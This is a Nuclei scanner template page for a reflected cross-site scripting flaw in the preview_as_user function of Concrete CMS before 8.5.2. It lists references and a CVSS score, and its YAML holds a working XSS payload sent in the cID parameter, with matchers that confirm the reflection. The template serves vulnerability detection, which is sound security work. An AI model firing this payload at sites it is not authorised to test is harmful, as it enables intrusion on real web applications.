Concrete CMS <8.5.2 - Cross-Site Scripting

ID: concrete-xss

Severity: high

Author: shifacyclewla,hackergautam,djoevanka

Tags: hackerone,concrete,xss,cms,unauth,intrusive

Description

Concrete CMS before 8.5.2 contains a cross-site scripting vulnerability in preview_as_user function using cID parameter.

YAML Source

id: concrete-xss

info:
  name: Concrete CMS <8.5.2 - Cross-Site Scripting
  author: shifacyclewla,hackergautam,djoevanka
  severity: high
  description: Concrete CMS before 8.5.2 contains a cross-site scripting vulnerability in preview_as_user function using cID parameter.
  reference:
    - https://hackerone.com/reports/643442
    - https://github.com/concrete5/concrete5/pull/7999
    - https://twitter.com/JacksonHHax/status/1389222207805661187
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: hackerone,concrete,xss,cms,unauth,intrusive

http:
  - method: GET
    path:
      - '{{BaseURL}}/ccm/system/panels/page/preview_as_user/preview?cID="></iframe><svg/onload=alert("{{randstr}}")>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</iframe><svg/onload=alert("{{randstr}}")>'

      - type: word
        part: header
        words:
          - "text/html"
          - "CONCRETE5"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e1edc895b46f5fae34ebfbffc765ee225dd5f2b00fb8511a23cb3acba722c9fb022038afa7ad83f5f5d147c25af8115e7a4ac669b88248d4170262cb645f6d2bb67f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/concrete/concrete-xss.yaml"

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